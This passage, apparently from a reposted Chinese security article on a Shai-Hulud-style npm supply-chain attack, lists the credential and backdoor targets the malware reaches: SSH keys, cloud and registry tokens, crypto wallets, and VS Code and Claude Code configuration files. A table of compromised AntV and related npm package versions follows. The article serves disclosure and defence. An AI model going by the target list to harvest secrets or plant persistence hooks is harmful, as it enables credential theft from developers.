~/.config/gh/hosts.yml | 开发者工具 | 读 | GitHub CLI 存储的令牌 | | ~/.config/Code/User/settings.json | 后门目标 | 读/写 | VS Code 设置中的 NODE_OPTIONS 后门被注入到这里(Linux) | | ~/Library/Application Support/Code/User/settings.json | 后门目标 | 读/写 | VS Code 设置中的 NODE_OPTIONS 后门被注入到这里(macOS) | | ~/.claude/config.json | 后门目标 | 读/写 | Claude Code 配置持久钩子注入目标 | | ~/.bitcoin/wallet.dat | 加密货币 | 读 | 比特币钱包 | | ~/.ethereum/keystore | 加密货币 | 读 | 以太坊密钥库目录 | | ~/.config/solana/id.json | 加密货币 | 读 | Solana 密钥对 | | ~/.gnupg/ | 密码学 | 读 | 用于发布/提交的 GPG 密钥环签名密钥 | | ~/.pypirc | 软件包管理器 | 读 | PyPI 身份验证令牌 | | ~/.gem/credentials | 软件包管理器 | 读 | RubyGems 身份验证令牌 | | ~/.m2/settings.xml | 软件包管理器 | 读 | Maven 凭证 | | ~/.gradle/gradle.properties | 软件包管理器 | 读 | Gradle 凭据 | | ~/.cargo/credentials.toml | 软件包管理器 | 读 | crates.io 身份验证令牌 | | /home/*/.aws/credentials | AWS 云平台 | 读 | 扫描所有用户主目录 | | /home/*/.ssh/id_rsa | SSH | 读 | 清除所有用户 SSH 密钥 | | /root/.aws/credentials | AWS 云平台 | 读 | Root 用户 AWS 凭证(CI 运行程序通常以 root 用户身份运行) | | /root/.kube/config | Kubernetes | 读 | 根 kubeconfig(容器化 CI 中常见) |

1.8.2 表 2 受损的 npm 包

完整列表来源于 StepSecurity 和 OX Security 的报告(2026 年 5 月 19 日)。再次提醒,由于此列表可能在您阅读本文时已过时,因此仍需继续搜索。此次攻击的目标是 AntV 生态系统及其相关库中由 atool npm 账户维护的软件包。每月总下载量超过 5900 万次。随着调查的进行,该列表仍在不断更新。

| 包裹 | 受损版本 | 类别 | | — | — | — | | timeago.js | 4.1.2、4.2.2 | 公用事业 | | timeago-react | 3.1.7、3.2.7 | 公用事业 | | echarts-for-react | 3.0.7、3.1.7、3.2.7 | 图表 | | jest-canvas-mock | 2.5.3、2.6.3、2.7.3 | 测试 | | jest-date-mock | 1.0.11、1.1.11、1.2.11 | 测试 | | 尺寸传感器 | 1.0.4、1.1.4、1.2.4 | 公用事业 | | canvas-nest.js | 2.1.4、2.2.4 | 用户界面 | | 文件大小.js | 2.1.0、2.2.0 | 公用事业 | | onfire.js | 2.1.1、2.2.1 | 公用事业 | | relationship.js | 1.3.9、1.4.9 | 公用事业 | | ribbon.js | 1.1.2 | 用户界面 | | slice.js | 1.2.1、1.3.1 | 公用事业 | | 字宽 | 1.1.1、1.2.1 | 公用事业 | | lint-md | 0.3.0、0.4.0 | 绒毛 | | lint-md-cli | 0.2.2,0.3.2 | 绒毛 | | mcp-echarts | 0.8.1、0.9.1 | MCP 服务器 | | mcp-美人鱼 | 0.5.1,0.6.1 | MCP 服务器 | | @antv/adjust | 0.3.5,0.4.5 | AntV核心 | | @antv/算法 | 0.2.26,0.3.26 | AntV核心 | | @antv/async-hook | 2.3.9、2.4.9 | AntV核心 | | @antv/attr | 0.4.5,0.5.5 | AntV核心 | | @antv/ava | 3.5.1、3.6.1 | AntV AVA | | @antv/ava-react | 3.4.2、3.5.2 | AntV AVA | | @antv/color-util | 2.1.6、2.2.6 | AntV核心 | | @antv/组件 | 2.2.11,2.3.11 | AntV核心 | | @antv/coord | 0.5.7,0.6.7 | AntV核心 | | @antv/数据集 | 0.12.8,0.13.8 | AntV核心 | | @antv/dom-util | 2.1.4、2.2.4 | AntV核心 | | @antv/event-emitter | 0.2.3,0.3.3 | AntV核心 | | @antv/expr | 1.1.2、1.2.2 | AntV核心 | | @antv/f-engine | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f-lottie | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f-my | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f-react | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f-test-utils | 1.1.9、1.2.9 | AntV F2 手机 | | @antv/f-vue | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f-wx | 1.11.0、1.12.0 | AntV F2 手机 | | @antv/f2 | 5.15.0、5.16.0 | AntV F2 手机 | | @antv/f2-react | 5.15.0、5.16.0 | AntV F2 手机 | | @antv/g | 6.4.1、6.5.1 | AntV G 渲染器 | | @antv/g-base | 0.6.16,0.7.16 | AntV G 渲染器 | | @antv/g-camera-api | 2.1.45,2.2.45 | AntV G 渲染器 | | @antv/g-canvas | 2.3.0、2.4.0 | AntV G 渲染器 | | @antv/g-device-api | 1.7.13、1.8.13 | AntV G 渲染器 | | @antv/g-dom-mutation-observer-api | 2.1.42,2.2.42 | AntV G 渲染器 | | @antv/g-gesture | 3.1.42,3.2.42 | AntV G 渲染器 | | @antv/g-lite | 2.8.0、2.9.0 | AntV G 渲染器 | | @antv/g-lottie-player | 1.2.1、1.3.1 | AntV G 渲染器 | | @antv/g-math | 3.2.0、3.3.0 | AntV G 渲染器 | | @antv/g-mobile-canvas | 1.2.1、1.3.1 | AntV G 渲染器 | | @antv/g-mobile-canvas-element | 1.1.42,1.2.42 | AntV G 渲染器 | | @antv/g-mobile-svg | 1.2.1、1.3.1 | AntV G 渲染器 | | @antv/g-mobile-webgl | 1.2.1、1.3.1 | AntV G 渲染器 | | @antv/g-plugin-3d | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-plugin-a11y | 1.5.1、1.6.1 | AntV G 渲染器 | | @antv/g-plugin-canvas-path-generator | 2.2.26,2.3.26 | AntV G 渲染器 | | @antv/g-plugin-canvas-picker | 2.4.1、2.5.1 | AntV G 渲染器 | | @antv/g-plugin-canvas-renderer | 2.6.1、2.7.1 | AntV G 渲染器 | | @antv/g-plugin-control | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-plugin-device-renderer | 2.7.1、2.8.1 | AntV G 渲染器 | | @antv/g-plugin-dom-interaction | 2.2.31,2.3.31 | AntV G 渲染器 | | @antv/g-plugin-dragnadrop | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-plugin-html-renderer | 2.4.1、2.5.1 | AntV G 渲染器 | | @antv/g-plugin-image-loader | 2.4.1、2.5.1 | AntV G 渲染器 | | @antv/g-plugin-mobile-interaction | 1.1.42,1.2.42 | AntV G 渲染器 | | @antv/g-plugin-rough-canvas-renderer | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-plugin-rough-svg-renderer | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-plugin-svg-picker | 2.1.46,2.2.46 | AntV G 渲染器 | | @antv/g-plugin-svg-renderer | 2.5.1、2.6.1 | AntV G 渲染器 | | @antv/g-svg | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-web-animations-api | 2.2.32,2.3.32 | AntV G 渲染器 | | @antv/g-webgl | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-webgpu | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/g-webgpu-core | 0.8.2、0.9.2 | AntV G 渲染器 | | @antv/g-webgpu-engine | 0.8.2、0.9.2 | AntV G 渲染器 | | @antv/g2 | 5.5.8、5.6.8 | AntV G2 图表 | | @antv/g2-extension-3d | 0.3.0、0.4.0 | AntV G2 图表 | | @antv/g2-extension-ava | 0.3.0、0.4.0 | AntV G2 图表 | | @antv/g2-extension-plot | 0.3.2、0.4.2 | AntV G2 图表 | | @antv/g2-plugin-slider | 2.2.1、2.3.1 | AntV G2 图表 | | @antv/g2plot | 2.5.35,2.6.35 | AntV G2 图表 | | @antv/g6 | 5.2.1、5.3.1 | AntV G6 图形 | | @antv/g6-core | 0.9.24,0.10.24 | AntV G6 图形 | | @antv/g6-element | 0.9.25,0.10.25 | AntV G6 图形 | | @antv/g6-extension-react | 0.3.7,0.4.7 | AntV G6 图形 | | @antv/g6-pc | 0.9.25,0.10.25 | AntV G6 图形 | | @antv/g6-plugin | 0.9.25,0.10.25 | AntV G6 图形 | | @antv/g6-ssr | 0.2.1,0.3.1 | AntV G6 图形 | | @antv/地理坐标 | 1.1.8、1.2.8 | AntV L7 地图 | | @antv/gi-assets-basic | 2.5.40,2.6.40 | AntV GraphInsight | | @antv/gi-sdk | 3.1.0、3.2.0 | AntV GraphInsight | | @antv/gi-theme-antd | 0.7.11,0.8.11 | AntV 图形洞察 | | @antv/gl-matrix | 2.8.1、2.9.1 | AntV核心 | | @antv/gpt-vis | 1.1.0、1.2.0 | AntV AI/LLM | | @antv/gpt-vis-ssr | 0.4.7,0.5.7 | AntV AI/LLM | | @antv/graphin | 3.1.5,3.2.5 | AntV G6 图形 | | @antv/graphlib | 2.1.4、2.2.4 | AntV核心 | | @antv/hierarchy | 0.8.1、0.9.1 | AntV核心 | | @antv/infographic | 0.3.19,0.4.19 | AntV AVA | | @antv/l7 | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7组件 | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-core | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-draw | 3.2.5,3.3.5 | AntV L7 地图 | | @antv/l7层 | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-map | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-maps | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-react | 2.5.3、2.6.3 | AntV L7 地图 | | @antv/l7-renderer | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-scene | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-source | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-three | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7-utils | 2.26.10、2.27.10 | AntV L7 地图 | | @antv/l7plot | 0.6.11,0.7.11 | AntV L7 地图 | | @antv/l7plot-component | 0.1.11,0.2.11 | AntV L7 地图 | | @antv/larkmap | 1.6.1、1.7.1 | AntV L7 地图 | | @antv/layout-gpu | 1.2.7、1.3.7 | AntV核心 | | @antv/layout-wasm | 1.5.2、1.6.2 | AntV核心 | | @antv/li-core-assets | 1.4.7、1.5.7 | AntV LI | | @antv/li-editor | 1.7.1、1.8.1 | AntV LI | | @antv/li-sdk | 1.6.1、1.7.1 | AntV LI | | @antv/matrix-util | 3.1.4、3.2.4 | AntV核心 | | @antv/mcp-server-antv | 0.2.8,0.3.8 | MCP 服务器 | | @antv/mcp-server-chart | 0.10.10,0.11.10 | MCP 服务器 | | @antv/path-util | 3.1.1、3.2.1 | AntV核心 | | @antv/react-g | 2.2.1、2.3.1 | AntV G 渲染器 | | @antv/s2 | 2.8.1、2.9.1 | AntV S2 电子表格 | | @antv/s2-react | 2.4.1、2.5.1 | AntV S2 电子表格 | | @antv/s2-ssr | 0.2.1,0.3.1 | AntV S2 电子表格 | | @antv/s2-vue | 2.3.0、2.4.0 | AntV S2 电子表格 | | @antv/scale | 0.6.2、0.7.2 | AntV核心 | | @antv/smart-color | 0.3.1、0.4.1 | AntV核心 | | @antv/thumbnails | 2.1.0、2.2.0 | AntV核心 | | @antv/util | 3.4.11,3.5.11 | AntV核心 | | @antv/vendor | 1.1.11,1.2.11 | AntV核心 | | @antv/x6 | 3.2.7、3.3.7 | AntV X6 图解 | | @antv/x6-angular-shape | 3.1.1、3.2.1 | AntV X6 图解 | | @antv/x6-react-shape | 3.1.1、3.2.1 | AntV X6 图解 | | @antv/x6-vue-shape | 3.1.2、3.2.2 | AntV X6 图解 | | @antv/x6-vue3-shape | 1.1.0、1.2.0 | AntV X6 图解 | | @antv/xflow | 2.2.13,2.3.13 | AntV X6 图解 | | @lint-md/cli | 2.1.0、2.2.0 | 绒毛 | | @lint-md/core | 2.1.0、2.2.0 | 绒毛 | | @lint-md/parser | 0.1.14,0.2.14 | 绒毛 |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:OSINT研习社 cybernews cybernews《Shai-Hulud重现这次它吞噬了整个生态系统》

评论:0   参与:  0